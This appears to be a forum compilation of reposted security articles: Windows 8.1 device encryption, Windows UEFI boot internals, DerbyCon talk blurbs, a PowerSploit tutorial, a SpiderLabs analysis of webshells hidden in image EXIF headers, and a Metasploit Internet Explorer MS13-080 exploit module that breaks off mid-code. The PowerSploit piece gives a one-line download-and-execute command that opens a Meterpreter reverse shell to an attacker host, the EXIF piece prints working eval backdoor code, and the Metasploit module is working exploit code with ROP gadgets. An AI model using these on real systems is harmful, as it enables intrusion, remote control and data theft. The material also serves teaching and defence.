  3. Windows 8.1 Will Start Encrypting Hard Drives By Default: Everything You Need to Know Windows 8.1 will automatically encrypt the storage on modern Windows PCs. This will help protect your files in case someone steals your laptop and tries to get at them, but has important ramifications for data recovery. Previously, “BitLocker” was available on Professional and Enterprise editions of Windows, while “Device Encryption” was available on Windows RT and Windows Phone. Device encryption is included with all editions of Windows 8.1 — and it’s on by default. When Your Hard Drive Will Be Encrypted Windows 8.1 includes “Pervasive Device Encryption.” This works a bit differently from the standard BitLocker feature that’s been included in Professional, Enterprise, and Ultimate editions of Windows for the past few versions. Before Windows 8.1 automatically enables Device Encryption, the following must be true: The Windows device “must support connected standby and meet the Windows Hardware Certification Kit (HCK) requirements for TPM and SecureBoot on ConnectedStandby systems.” (Source) Older Windows PCs won’t support this feature, while new Windows 8.1 devices you pick up will have this feature enabled by default. When Windows 8.1 installs cleanly and the computer is prepared, device encryption is “initialized” on the system drive and other internal drives. Windows uses a clear key at this point, which is removed later when the recovery key is successfully backed up. The PC’s user must log in with a Microsoft account with administrator privileges or join the PC to a domain. If a Microsoft account is used, a recovery key will be backed up to Microsoft’s servers and encryption will be enabled. If a domain account is used, a recovery key will be backed up to Active Directory Domain Services and encryption will be enabled. If you have an older Windows computer that you’ve upgraded to Windows 8.1, it may not support Device Encryption. If you log in with a local user account, Device Encryption won’t be enabled. If you upgrade your Windows 8 device to Windows 8.1, you’ll need to enable device encryption as it’s off by default when upgrading. Recovering An Encrypted Hard Drive Device encryption means that a thief can’t just pick up your laptop, insert a Linux live CD or Windows installer disc, and boot the alternate operating system to view your files without knowing your Windows password. It means that no one can just pull the hard drive from your device, connect the hard drive to another computer, and view the files. We’ve previously explained that your Windows password doesn’t actually secure your files. With Windows 8.1, average Windows users will finally be protected with encryption by default. However, there’s a problem — if you forget your password and are unable to log in, you’d also be unable to recover your files. This is likely why encryption is only enabled when a user logs in with a Microsoft account (or connects to a domain). Microsoft holds a recovery key, so you can gain access to your files by going through a recovery process. As long as you’re able to authenticate using your Microsoft account credentials — for example, by receiving an SMS message on the cell phone number connected to your Microsoft account — you’ll be able to recover your encrypted data. With Windows 8.1, it’s more important than ever to configure your Microsoft account’s security settings and recovery methods so you’ll be able to recover your files if you ever get locked out of your Microsoft account. Microsoft does hold the recovery key and would be capable of providing it to law enforcement if it was requested, which is certainly a legitimate concern in the age of PRISM. However, this encryption still provides protection from thieves picking up your hard drive and digging through your personal or business files. If you’re worried about a government or a determined thief who’s capable of gaining access to your Microsoft account, you’ll want to encrypt your hard drive with software that doesn’t upload a copy of your recovery key to the Internet, such as TrueCrypt. How to Disable Device Encryption There should be no real reason to disable device encryption. If nothing else, it’s a useful feature that will hopefully protect sensitive data in the real world where people — and even businesses — don’t enable encryption on their own. As encryption is only enabled on devices with the appropriate hardware and will be enabled by default, Microsoft has hopefully ensured that users won’t see noticeable slow-downs in performance. Encryption adds some overhead, but the overhead can hopefully be handled by dedicated hardware. If you’d like to enable a different encryption solution or just disable encryption entirely, you can control this yourself. To do so, open the PC settings app — swipe in from the right edge of the screen or press Windows Key + C, click the Settings icon, and select Change PC settings. Navigate to PC and devices -> PC info. At the bottom of the PC info pane, you’ll see a Device Encryption section. Select Turn Off if you’d like to disable device encryption, or select Turn On if you want to enable it — users upgrading from Windows 8 will have to enable it manually in this way. Note that Device Encryption can’t be disabled on Windows RT devices, such as Microsoft’s Surface RT and Surface 2. If you don’t see the Device Encryption section in this window, you’re likely using an older device that doesn’t meet the requirements and thus doesn’t support Device Encryption. For example, our Windows 8.1 virtual machine doesn’t offer Device Encryption configuration options. This is the new normal for Windows PCs, tablets, and devices in general. Where files on typical PCs were once ripe for easy access by thieves, Windows PCs are now encrypted by default and recovery keys are sent to Microsoft’s servers for safe keeping. This last part may be a bit creepy, but it’s easy to imagine average users forgetting their passwords — they’d be very upset if they lost all thief files because they had to reset their passwords. It’s also an improvement over Windows PCs being completely unprotected by default. Sursa: Windows 8.1 Will Start Encrypting Hard Drives By Default: Everything You Need to Know
  4. [h=1]Windows UEFI startup – A technical overview[/h]Posted by Andrea Allievi On ottobre 12, 2013 In Analisi Trough this analysis paper we’ll give a look at Windows 8 (and 8.1) UEFI startup mechanisms and we’ll try to understand their relationship with the underlying hardware platform. Windows boot manager and loader The Windows boot manager starts its execution in the EfiEntry procedure. EfiEntry is, as the name implies, the Bootmgr EFI entry point. It obtains the EFI startup disk device, creates the initial parameters needed for Bootmgr and then it calls the main Bootmgr startup function: BmMain. Bootmgr PE file bootmgfw.efi is indeed loaded and executed by UEFI firmware (Boot Device Selection phase) with LoadImage and StartImage boot service functions. As we’ve already stated in our previous article, Windows Boot manager uses the UEFI firmware to read and write from the start-up disk. In particular, block I/O protocol is used. This protocol abstracts the physical disk mass storage devices and allows the code running in the UEFI context to access them without a specific knowledge of the type of device or controller that manages a particular disk device. The Block I/O protocol allows the OS doing some basic work: reading, writing, flushing and resetting. From the Block I/O protocol derives another UEFI I/O protocol: Disk I/O. The latter is used to abstract the block accesses of the Block I/O protocol to a more general offset-length protocol (I.e. it eliminates LBA and sectors concepts, transforming them to byte offsets). Disk I/O protocol is not used by the Windows loader. BmMain, first of all, initializes all the Boot manager data structures (BlInitializeLibrary), the UEFI firmware environment (BlpFwInitialize procedure obtains Boot services, Runtime services, ConnIn, ConnOut UEFI facilities), the Kernel mode debugger (BlBdInitialize initializes and establishes the earliest possible kernel Debugger connection) and the Secure Boot. Block I/O EFI protocol interface definition (from UEFI Specs) When the Initialization is done the control flow returns to BmMain. BmFwInitializeBootDirectoryPath initializes the Boot applications path (“\EFI\Microsoft\Boot”), it opens the boot disk partition, it probes the “BCD“ hive file, and subsequently it stores its boot directory. Bootmgr then opens and maps the Boot configuration Data. BmOpenDataStore indeed opens and reads the BCD hive file with UEFI services: a bunch of functions are used: BcdOpenStoreFromFile – BiLoadHive – BlpDeviceOpen and BlImgLoadImageWithProgressEx. We will demonstrate how the disk partitions I/O is done with EFI services. BlpDeviceOpen opens the disk partition device that contains the BCD file (EFI System partition with GUID equals to C12A7328-F81F-11D2-BA4B-00A0C93EC93B), BlImgLoadImageWithProgressEx instead opens and reads the BCD hive file. Then the BCD hive is mapped and analysed. If “bootmenupolicy” bcd element is set to “Legacy” , the boot menu is displayed and then winload is read and executed. The Boot flow is now transferred to Winload. We will investigate on Device and File open routines afterwards. For now it is enough to say that this kind of code is the same as the one located in Winload. Bootmgr gives control to Winload in its ImgArchEfiStartBootApplication (UEFI platform dependent, as its name implies). Winload starts its execution in OslMain procedure. OslMain’s job is to initialize the Windows loader data structures, the kernel debugger, and the environment, exactly in the same way as Bootmgr does (the code indeed is the same), and finally it calls OslpMain. OslpMain first of all it analyses its BCD entry elements, various things are captured: OS load options string, OS physical disk device and partition GUID, System root path. Noteworthy it is the OS physical disk device and partition BCD element (BcdOSLoaderDevice_OSDevice – 0×21000001 hex code). This element contains the physical disk GUID and the partition start LBA and signature. These information are stored in winload’s global data structures. BCDLibraryDevice_ApplicationDevice BCD element content (snap taken from a test system) Then the Boot status data (bootstat.dat) is read, and whether something went wrong in the previous boot, the recovery mode will be launched; if the boot flow proceeds normally, the System Hive is located and mapped (OslpLoadSystemHive), the boot bitmap and the bar are displayed, the code integrity and the secure boot are initialized. Now one of the tenets of our project is pinpointed: OslpLoadAllModules Winload procedure reads and maps Nt Kernel module, Hardware abstraction layer (Hal), Kernel debugger module (kdcom.dll) and each boot drivers. Each of this module has been loaded and mapped BUT not started yet. It will be a Nt kernel’s job to launch them (see Windows Internal 6th edition book, Part 2, chapter 13). All boot modules are read and mapped by OslLoadImage. In this big function a call chain takes place. Finally the BlockIoRead is called to read the file data from a block device (LBA addressing). The BlockIoRead determines whether target device is physical or virtual (Vhd image), and, in the first case a call chain to BlockIopFirmwareOperation is made. This last procedure is defined in the following way: [TABLE=class: crayon-table] [TR=class: crayon-row] [TD=class: crayon-nums] 1 [/TD] [TD=class: crayon-code]NTSTATUS BlockIopFirmwareOperation(LPVOID winloadDataStruct, LPVOID lpDestBuff, QWORD qwLba, DWORD dwNumSectorToRead, int unknown) [/TD] [/TR] [/TABLE] BlockIopFirmwareOperation translates the target buffer address and the EFI Block I/O protocol interface for the UEFI context (indeed Winload has already setup an owner GDT, LDT), it switches the context and finally it emits an EFI Block I/O protocol interface ReadBlock call to physically read the data. Then context is switched again to Winload context and the control returns to the caller. If an error has occurred, the current EFI Block I/O protocol interface is closed, reopened with the OpenProtocol EFI Boot service (target device EFI Handle is stored somewhere in “winloadDataStruct”), then I/O is remitted. BlockIopFirmwareOperation is the same routine used previously in Bootmgr each time a disk I/O operation was needed. BlockIopFirmwareOperation Winload function Now we have demonstrated that both Windows Loader and its Boot manager use only the UEFI services to actually read and write to Physical disks. We still have to understand how Windows loader can identify the proper system disk partition device (where all Windows files are stored). To answer this question we have to return back in Bootmgr main start-up procedure. After BlInitializeLibrary has done its job, there is a call to BmFwInitializeBootDirectoryPath. As stated before, the “BCD” file is opened and mapped. In order to map, the Bootmgr needs to initialize and open the EFI System partition. Bootmgr knows the boot partition GUIDs because it has retrieved it in EFI Entry point procedure, starting from its own EFI Loaded Image handle (Bootmgr Efi entry point procedure calls HandleProtocol EFI boot service to obtain Device Path protocol Interface. This interface contains Boot disk partition GUIDs). An important concept to point out now is that, at this stage, the Windows boot manager can easily open only the boot Disk partitions, not the physical disks, because the physical EFI device handle of its Loaded Image interface is a partition handle, not a disk’s one (it contains only the partition GUID). We will now see how the Boot manager can identify the Physical disks. BmFwInitializeBootDirectoryPath invokes BlpDeviceOpen (with first parameter set to a quite empty Winload boot disk structure, that contains the boot partition GUID) to open the target disk boot partition device. BlpDeviceOpen raises a large call chain that finally transfers the control to PartitionFirmwareOpen. This last procedure uses the LocateHandle EFI boot service to locate all handles that implement the Block I/O interface. For each of the identified handles, its Device path interface is obtained with EfiOpenProtocol. In the Device path interface resides partition GUID. The Partition GUID is compared with the start-up device GUID, if two GUIDs match, then a Bootmgr partition entry is created with the PartitionFwpCreateDeviceEntry function. Bootmgr indeed manages each of the system I/O devices, creating an associated internal structure. PartitionFirmwareOpen Bootmgr procedure Now Bootmgr has a proper boot partition connection (GUID, EFI handle pair) and the feeds read and write I/O to its File system code. We have just seen how read and write is implemented (keep in mind that, as stated before, all this code is shared between Winload and Bootmgr). The difficult of this job is to understand how Windows identifies the EFI handle of the Physical boot disk. The algorithm used is quite complex. We provide here a summary description. One of the first thing Winload does at its early stage is to initialize the physical disks, just after the Bootmgr has released the control. BlpEdriveInitializeContext calls SecCmdFirmwareOpen, that uses DiskOpen to proper identify the physical disk. The Physical disk GUID is now available because Bootmgr has already obtained it from the BCD hive (Winload BCD object). Here starts the Windows algorithm used to identify the proper EFI Handle. The Algorithm starts enumerating each of the EFI handles that implement the Block I/O protocol. For each handle found, Winload constructs its own management data structure with BlockIoEfiCreateDeviceEntry . This procedure opens the Device path interface of the EFI handle, it allocates enough buffer and it compiles a structure with some device data (like block size, first and last addressable LBA and so on). Then it retrieves the device information with BlockIoEfiGetDeviceInformation. This is the key of algorithm. The last node of the device handle path is obtained (EfiGetLeafNode function) and analysed: whether it is a Messaging node type, Winload tries to get one of its direct child handles. If it succeeds, it will analyse the child device path leaf node. If the node results to be a media path type then Winload has found one physical hard disk device: it closes the child handle and it reads the GPT partition table from the original EFI Handle. The GPT partition table contains the Disk GUID in its header (LBA 1), as stated in this document: http://en.wikipedia.org/wiki/GUID_Partition_Table. BlockIoGetGPTDiskSignature obtains the GUID and stores it in the device associate data structure. In the end, when control returns to DiskOpen, the Winload compares the new GUID with the searched disk device GUID and, if these two match, it returns STATUS_SUCCESS to its caller, otherwise it proceeds with the next entry. If no disk is found, it returns STATUS_NO_SUCH_DEVICE. When this process is done at least one time for each EFI devices, the Winload doesn’t redo, because it stores each created device structure hash in a global Hash table (updated with BlHtStore function). Conclusions Through this analysis we have now understood how the Windows start-up code manages the disk I/O. We have pinpointed that only the UEFI services are used to read and write from Boot and System devices. This is one of the reasons that explain why Bootmgr and Winload files are platform dependent (there are different versions for different platforms). Sursa: Windows UEFI startup – A technical overview
  5. PowerSploit: The Easiest Shell You’ll Ever Get 2013/09/18 | Posted in Penetration Testing Sometimes you just want a shell. You don’t want to worry about compiling a binary, testing it against antivirus, figuring out how to upload it to the box and finally execute it. Maybe you are giving a demo of an awesome new Meterpreter post-exploitation module. Maybe you have less than a minute of physical access to a Windows kiosk machine and need a quick win. There are plenty of scenarios that end in a penetration tester gaining GUI access to a target machine through guessed or found RDP, ESX or VNC credentials. In those situations, the easiest way to get a Meterpreter shell without worrying about AV is with PowerSploit. PowerSploit is a collection of security-related modules and functions written in PowerShell. PowerSploit is already in both BackTrack and Kali, and its code is utilized by other awesome tools like SET so you may already be using it! Many of the scripts in the project are extremely useful in post-exploitation in Windows environments. The project was started by Matt Graeber who is the author of the function we will use in this tutorial: Invoke-Shellcode. In order for this to work, the target machine must have PowerShell installed and internet access. The first step is for us to set up our handler on our attacker box. This is something we will likely do often, so let’s automated it with a really simple Python script: To start the multi/handler and configure it, we just run the script: python StartListener.py 192.168.0.15 443 Now that our handler is ready, we can move on to executing our shell. The first thing I did to make the next step easier to type is shorten the github link to Invoke-Shellcode with bitly: Next, we need to run two commands in a PowerShell prompt to get our Meterpreter shell. The first command will create a .Net WebClient Object to download the function and pass it to Invoke-Expression to put it into memory: IEX (New-Object Net.WebClient).DownloadString(‘http://bit.ly/14bZZ0c’) Now we just need to make a call to the Invoke-Shellcode function with the relevant parameters from the listener: Invoke-Shellcode –Payload windows/meterpreter/reverse_https –Lhost 192.168.0.15 –Lport 443 –Force We can actually combine these commands to run a single command to execute our shell: IEX (New-Object Net.WebClient).DownloadString(‘http://bit.ly/14bZZ0c’); Invoke-Shellcode –Payload windows/meterpreter/reverse_https –Lhost 172.0.1.200 –Lport 443 –Force Once we get the prompt back, we can safely close PowerShell because the ultra-useful Smart_Migrate Meterpreter script has safely landed us in a new process: That is the easiest and most convenient AV-bypass I have ever seen! Just open PowerShell and type a command. Hopefully this post has shown you one way PowerSploit can make your life as a pen-tester easier. You can find more ways at my blog and by following me on twitter. Also, join me at Derbycon when I will talk about the Pass-the-Hash attack and some simple mitigations with Skip Duckwall and how to use PowerSploit and Windows tools to accomplish post-exploitation tasks without uploading binaries with Matt Graeber. I hope to see you all there! -Chris Sursa: Pentest Geek
  6. Derbycon 2013 - An Encyclpwnia Of Persistence - Skip Duckwall, Will Peteroy Description: While I was working on a Linux boot CD for Red Team operations I started researching various persistence techniques that were out there in “the real world”. Pretty soon a couple of pages of notes became a notebook full of information. Based on public information from incident reports, AV vendors, blogs, and con talks, I started trying to categorize the various techniques to make them easier to digest. One thing that immediately jumped out was that nobody had apparently tried to do this before. With help from another former Red Teamer, Will, we were able to categorize over 20 different ways that somebody could attain persistence. Our hope is that our talk will benefit both the folks who have to defend and those who provide threat emulation by providing details about real world persistence methods. Bio: “Skip Spoke at BHUSA 2012, Defcon 19, Derbycon Former Red Teamer Bunch of certs… working for Accuvant Labs Will Spoke at Bsides a couple of places (PDX, SEA) Former Red Teamer Certs and degrees and shit Currently doing penance for RT work at Microsoft Security Response Center” For More Information please visit : - DerbyCon : Louisville, Kentucky Derbycon 2013 Videos (Hacking Illustrated Series InfoSec Tutorial Videos) Sursa: Derbycon 2013 - An Encyclpwnia Of Persistence - Skip Duckwall, Will Peteroy
  7. Derbycon 2013 - Antivirus Evasion: Lessons Learned – Thelightcosine Description: Over the past year, the speaker has spent alot of time talking with people in the infoSec Community and doing research on antivirus evasion techniques. Learning what works and what doesn't. There are a lot of good ideas floating around out there. In this talk we're going to pull those ideas all together. We'll discuss the basics of the AV evasion problem, what techniques work, which ones don't and why. The talk will have a particular focus on AV evasion as it relates to Metasploit payloads. Bio: David "thelightcosine" Maloney is a Senior Software Engineer on the Metasploit team at Rapid7. Before that he was a Penetration Tester for some large Corporations, specializing in Web Applications and was a longtime contrutor to the Metasploit Framework. He is a member of the Corelan Security Team, and sort of an auxiliary member of the FALE locksport group. He is one of the founders of Hackerspace Charlotte in NC. For More Information please visit : - DerbyCon : Louisville, Kentucky Derbycon 2013 Videos (Hacking Illustrated Series InfoSec Tutorial Videos) Sursa: Derbycon 2013 - Antivirus Evasion: Lessons Learned – Thelightcosine
  8. [h=3]Hiding Webshell Backdoor Code in Image Files[/h] First appearances may be deceiving... Web attackers have have been using a method of stashing pieces of their PHP backdoor exploit code within the meta-data headers of these image files to evade detections. This is not a completely new tactic however it is not as well known by the defensive community so we want to raise awareness. Let's first take a quick look at why this technique is being utlized by attackers. [h=1]Standard Webshell Backdoor Code[/h] There are many methods attackers employ to upload Webshell backdoor code onto compromised web servers including Remote File Inclusion (RFI), Wordpress TimThumb Plugin and even non-web attack vectors such as Stolen FTP Credentials. Here is a graphic taken from this years Trustwave SpiderLabs Global Security Report that lists the top malicious file types uploaded to compromised web servers: Let's take a look at a standard obfuscated R57 shell example: Notice the Base64 encoded parameter data and then the PHP Eval call at the end. Once PHP executes this code, it will decode and inflate the data stream and the result will be a basic file uploader webshell similar to the following: [h=1]Incident Response Steps - Identification and Eradication[/h] These types of attacks and compromises are so prevalent in Shared Hosting environments where end users do not properly update their web application software. In response to these types of scenarios, Hosting Provider security teams often employ OS-level back-end processes that scan the local file systems looking for tell-tale signs of webshell backdoor code. One example tool is called MalDetect. This script can be run to analyze files and detect various forms of malicious code. If we run maldetect against our example R57 webshell file we get the following: $ sudo /usr/local/maldetect/maldet --config-option quar_hits=0,quar_clean=0,clamav_scan=1 -a "/tmp/lin.php" Linux Malware Detect v1.4.2 (C) 2002-2013, R-fx Networks <proj@r-fx.org> (C) 2013, Ryan MacDonald <ryan@r-fx.org> inotifywait (C) 2007, Rohan McGovern <rohan@mcgovern.id.au> This program may be freely redistributed under the terms of the GNU GPL v2 maldet(92294): {scan} signatures loaded: 9011 (7145 MD5 / 1866 HEX) maldet(92294): {scan} building file list for /tmp/lin.php, this might take awhile... maldet(92294): {scan} file list completed, found 1 files... maldet(92294): {scan} 1/1 files scanned: 0 hits 0 cleaned maldet(92294): {scan} scan completed on /tmp/lin.php: files 1, malware hits 1, cleaned hits 0 maldet(92294): {scan} scan report saved, to view run: maldet --report 101113-1250.92294 maldet(92294): {scan} quarantine is disabled! set quar_hits=1 in conf.maldet or to quarantine results run: maldet -q 101113-1250.92294 $ sudo maldet --report 101113-1250.92294 malware detect scan report for MacBook-Pro-2.local: SCAN ID: 101113-1250.92294 TIME: Oct 11 12:50:48 -0400 PATH: /tmp/lin.php TOTAL FILES: 1 TOTAL HITS: 1 TOTAL CLEANED: 0 NOTE: quarantine is disabled! set quar_hits=1 in conf.maldet or to quarantine results run: maldet -q 101113-1250.92294 FILE HIT LIST: {MD5}base64.inject.unclassed.1 : /tmp/lin.php =============================================== Linux Malware Detect v1.4.2 < proj@rfxn.com > As you can see, maldetect identified this PHP file with of of its generic base64 injection signatures. While this indivudual file scanning does work, for managability, most organizations opt to run maldetect as part of an ogoing automated process run through scheduling tools such as Cron. The big problem with this process is that, for performance reasons, many organizations opt to only scan PHP files and exclude other file types from being scanned... [h=1]Hiding Webshell Backdoor Code in Image Files[/h] This brings us back to the beginning of the blog post. Due to the cleanup tactics used by most organizations, the bad guys had to figure out a method of hiding their backdoor code in places that most likely would not be inspected. In this case, we are talking about hiding PHP code data within the Exif image header fields. The concept of Stegonography is not new and there have been many past examples of its use for passing data, however we are now seeing it used for automated code execution. I do want to give a proper hat-tip to the Sucuri Research Team who also found similar techniques being employed. [h=2]PHP Code In EXIF Headers[/h] If you were to view-source in a browser or use something like the unix strings command, you could see the new code added to the top of the image files: After uploading this file to VirusTotal, you can see a more friendly representation of the EXIF fields: As you can see, the PHP code is held within the EXIF "Model" and "Make" fields. This data does not in any way interfere with the proper rendering of the image file itself. [h=2]PHP's exif_read_data function[/h] PHP has a function called exif_read_data which allows it to read the header data of image files. It is used extensivly in many different plugins and tools. Here is an example from Facebook's GitHub Repo: [h=2]Updated PHP Webshell Code[/h] So, with pieces of their webshell stashes away within the EXIF headers of either local or remote image files, the attackers can then modify their PHP code to leverage the PHP exif_read_data function like this: [phpcode]<?php $exif = exif_read_data('http://REDACTED/images/stories/Logo_Coveright.jpg'); preg_replace($exif['Make'],$exif['Model'],''); ?>[/phpcode] The first line downloads a remote jpg image file with the stashes code in it and then sets the $exif variable with the array value. We can modify this PHP code to simulate this by downloading the same files and then dumping the $exif data: [phpcode]<? $exif = exif_read_data('http://REDACTED/images/stories/Logo_Coveright.jpg'); var_dump($exif); ?>[/phpcode] When executing this php file, we get the following output: $ php ./exif_dumper.php array(9) { ["FileName"]=> string(18) "Logo_Coveright.jpg" ["FileDateTime"]=> int(0) ["FileSize"]=> int(6159) ["FileType"]=> int(2) ["MimeType"]=> string(10) "image/jpeg" ["SectionsFound"]=> string(13) "ANY_TAG, IFD0" ["COMPUTED"]=> array(5) { ["html"]=> string(23) "width="155" height="77"" ["Height"]=> int(77) ["Width"]=> int(155) ["IsColor"]=> int(1) ["ByteOrderMotorola"]=> int(0) } ["Make"]=> string(5) "/.*/e" ["Model"]=> string(108) "eval(base64_decode('aWYgKGlzc2V0KCRfUE9TVFsienoxIl0pKSB7ZXZhbChzdHJpcHNsYXNoZXMoJF9QT1NUWyJ6ejEiXSkpO30='));" } The final setup in this process is to execute the PHP preg_replace function. [phpcode]<?php $exif = exif_read_data('http://REDACTED/images/stories/Logo_Coveright.jpg'); preg_replace($exif['Make'],$exif['Model'],''); ?>[/phpcode] Notice that the $exif['Make'] variable data uses the "/.*/e" PCRE regex modifier (PREG_REPLACE_EVAL) which will evaluate the data from the $exif['Model'] variable. In this case, it would execute the base64_decode which results in the following PHP snippet of code: [phpcode]if (isset($_POST["zz1"])) {eval(stripslashes($_POST["zz1"]));}[/phpcode] This code checks to see if there is a POST request body named "zz1" and if there is, it will then eval the contents. This makes it quite easy for attackers to sprinkle backdoor access code by injecting other legitimate PHP files with this combination of exif_read_data and preg_replace code. [h=1]How Widespread?[/h] We can not accurately estimate how widespread this technique is being used however there is a small amount of empirical evidence by simply using public search engines to flag any web pages that list characteristics of either EXIF code hiding or searching for this specific base64 encoded string value. There are hundreds of examples of this base64 encoded data being present within image files. [h=1]Recommendations[/h] [h=2]Scan All Files for Malicious Code[/h] If you are running OS level scanning of files on disk, carefully consider which file-types you want to include/exclude. As this scenario shows, attackers can take advantage of your excluded content to hide their code. [h=2]Scan Files During Attachment Uploading using ModSecurity[/h] When end users are uploading images as file attachments, ModSecurity has the ability to: Extract the file and dump it to a tmp file on disk Execute the @inspectFile operator to analyze the file Block uploading if malware is found The maldetect README file even includes instructions on how to integrate it with ModSecurity: the approver script "/usr/local/maldetect/modsec.sh": 0 maldet: {HEX}php.cmdshell.r57.317 /tmp/20111120-....-file [file "/usr/local/apache/conf/modsec2.user.conf"] [line "3"] [severity "CRITICAL"]Message: Access denied with code 406 (phase 2). File "/tmp/20111120-....-file" rejected by Sursa: Hiding Webshell Backdoor Code in Image Files - SpiderLabs Anterior.: 12 [ MODSECURITY2 UPLOAD SCANNING ] The support for HTTP upload scanning is provided through mod_security2's inspectFile hook. This feature allows for a validation script to be used in permitting or denying an upload. The convenience script to faciliate this is called modsec.sh and is located in the /usr/local/maldetect installation path. The default setup is to run a standard maldet scan with no clamav support, no cleaner rule executions and quarantining enabled; these options are set in the interest of performance vs accuracy which is a fair tradeoff. The scan options can be modified in the modsec.sh file if so desired, the default scan options are as follows: --config-option quar_hits=1,quar_clean=0,clamav_scan=0 --modsec -a "$file" There is a tangible performance difference in disabling clamav scanning in this usage scenario. The native LMD scanner engine is much faster than the clamav scanner engine in single file scans by a wide margin. A single file scan using clamav takes roughly 3sec on average while the LMD scanner engine takes 0.5sec or less. To enable upload scanning with mod_security2 you must set enable the public_scan option in conf.maldet (public_scan=1) then add the following rules to your mod_security2 configuration. These rules are best placed in your modsec2.user.conf file on cpanel servers or at the top of the appropraite rules file for your setup. /usr/local/apache/conf/modsec2.user.conf (or similar mod_security2 rules file): SecRequestBodyAccess On SecRule FILES_TMPNAMES "@inspectFile /usr/local/maldetect/modsec.sh" \ "log,auditlog,deny,severity:2,phase:2,t:none" A restart of the HTTPd service is required following these changes. When an upload takes place that is determined to be malware, it will be rejected and an entry will appear in the mod_security2 SecAuditLog file. On cpanel servers and most configurations this is the modsec_audit.log located under /usr/local/apache/logs or /var/log/httpd. The log entry will appear similar to the following:
  9. MS13-080 (CVE-2013-3897): Internet Explorer CDisplayPointer Use-After-Free Added by sinn3r . about 15 hours ago Add MS13-080 (CVE-2013-3897): Internet Explorer CDisplayPointer Use-After-Free This module exploits a vulnerability found in Microsoft Internet Explorer. It was originally found being exploited in the wild targeting Japanese and Korean IE8 users on Windows XP, around the same time frame as CVE-2013-3893, except this was kept out of the public eye by multiple research companies and the vendor until the October patch release. This issue is a use-after-free vulnerability in CDisplayPointer via the use of a "onpropertychange" event handler. To setup the appropriate buggy conditions, we first craft the DOM tree in a specific order, where a CBlockElement comes after the CTextArea element. If we use a select() function for the CTextArea element, two important things will happen: a CDisplayPointer object will be created for CTextArea, and it will also trigger another event called "onselect". The "onselect" event will allow us to setup for the actual event handler we want to abuse - the "onpropertychange" event. Since the CBlockElement is a child of CTextArea, if we do a node swap of CBlockElement in "onselect", this will trigger "onpropertychange". During "onpropertychange" event handling, a free of the CDisplayPointer object can be forced by using an "Unslect" (other approaches also apply), but a reference of this freed memory will still be kept by CDoc::ScrollPointerIntoView, specifically after the CDoc::GetLineInfo call, because it is still trying to use that to update CDisplayPointer's position. When this invalid reference arrives in QIClassID, a crash finally occurs due to accessing the freed memory. By controling this freed memory, it is possible to achieve arbitrary code execution under the context of the user. ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::RopDb include Msf::Exploit::Remote::BrowserAutopwn autopwn_info({ :ua_name => HttpClients::IE, :ua_minver => "8.0", :ua_maxver => "8.0", :javascript => true, :os_name => OperatingSystems::WINDOWS, :rank => NormalRanking }) def initialize(info={}) super(update_info(info, 'Name' => "MS13-080 Microsoft Internet Explorer CDisplayPointer Use-After-Free", 'Description' => %q{ This module exploits a vulnerability found in Microsoft Internet Explorer. It was originally found being exploited in the wild targeting Japanese and Korean IE8 users on Windows XP, around the same time frame as CVE-2013-3893, except this was kept out of the public eye by multiple research companies and the vendor until the October patch release. This issue is a use-after-free vulnerability in CDisplayPointer via the use of a "onpropertychange" event handler. To setup the appropriate buggy conditions, we first craft the DOM tree in a specific order, where a CBlockElement comes after the CTextArea element. If we use a select() function for the CTextArea element, two important things will happen: a CDisplayPointer object will be created for CTextArea, and it will also trigger another event called "onselect". The "onselect" event will allow us to setup for the actual event handler we want to abuse - the "onpropertychange" event. Since the CBlockElement is a child of CTextArea, if we do a node swap of CBlockElement in "onselect", this will trigger "onpropertychange". During "onpropertychange" event handling, a free of the CDisplayPointer object can be forced by using an "Unslect" (other approaches also apply), but a reference of this freed memory will still be kept by CDoc::ScrollPointerIntoView, specifically after the CDoc::GetLineInfo call, because it is still trying to use that to update CDisplayPointer's position. When this invalid reference arrives in QIClassID, a crash finally occurs due to accessing the freed memory. By controling this freed memory, it is possible to achieve arbitrary code execution under the context of the user. }, 'License' => MSF_LICENSE, 'Author' => [ 'Unknown', # Exploit in the wild 'sinn3r' # Metasploit ], 'References' => [ [ 'CVE', '2013-3897' ], [ 'OSVDB', '98207' ], [ 'MSB', 'MS13-080' ], [ 'URL', 'http://blogs.technet.com/b/srd/archive/2013/10/08/ms13-080-addresses-two-vulnerabilities-under-limited-targeted-attacks.aspx' ], [ 'URL', 'http://jsunpack.jeek.org/?report=847afb154a4e876d61f93404842d9a1b93a774fb' ] ], 'Platform' => 'win', 'Targets' => [ [ 'Automatic', {} ], [ 'IE 8 on Windows XP SP3', {} ], [ 'IE 8 on Windows 7', {} ] ], 'Payload' => { 'BadChars' => "\x00", 'PrependEncoder' => "\x81\xc4\x0c\xfe\xff\xff" # add esp, -500 }, 'DefaultOptions' => { 'InitialAutoRunScript' => 'migrate -f' }, 'Privileged' => false, # Jsunpack first received a sample to analyze on Sep 12 2013. # MSFT patched this on Oct 8th. 'DisclosureDate' => "Oct 08 2013", 'DefaultTarget' => 0)) end def get_check_html %Q|<html> <script> #{js_os_detect} function os() { var detect = window.os_detect.getVersion(); var os_string = detect.os_name + " " + detect.os_flavor + " " + detect.ua_name + " " + detect.ua_version; return os_string; } function dll() { var checka = 0; var checkb = 0; try { checka = new ActiveXObject("SharePoint.OpenDocuments.4"); } catch (e) {} try { checkb = new ActiveXObject("SharePoint.OpenDocuments.3"); } catch (e) {} if ((typeof checka) == "object" && (typeof checkb) == "object") { try{location.href='ms-help://'} catch(e){} return "office2010"; } else if ((typeof checka) == "number" && (typeof checkb) == "object") { try{location.href='ms-help://'} catch(e){} return "office2007"; } return "default"; } window.onload = function() { window.location = "#{get_resource}/search?o=" + os() + "&d=" + dll(); } </script> </html> | end def junk rand_text_alpha(4).unpack("V")[0].to_i end def get_payload(target_info) rop_payload = '' case target_info[:dll] when 'office2007' pivot = [ 0x51c2213f, # xchg eax,esp # popad # add byte ptr [eax],al # retn 4 junk, # ESI due to POPAD junk, # EBP due to POPAD junk, junk, # EBX due to POPAD junk, # EDX due to POPAD junk, # ECX due to POPAD 0x51c5d0a7, # EAX due to POPAD (must be writable for the add instruction) 0x51bd81db, # ROP NOP junk # Padding for the retn 4 from the stack pivot ].pack("V*") rop_payload = generate_rop_payload('hxds', payload.encoded, {'target'=>'2007', 'pivot'=>pivot}) when 'office2010' pivot = [ 0x51c00e64, # 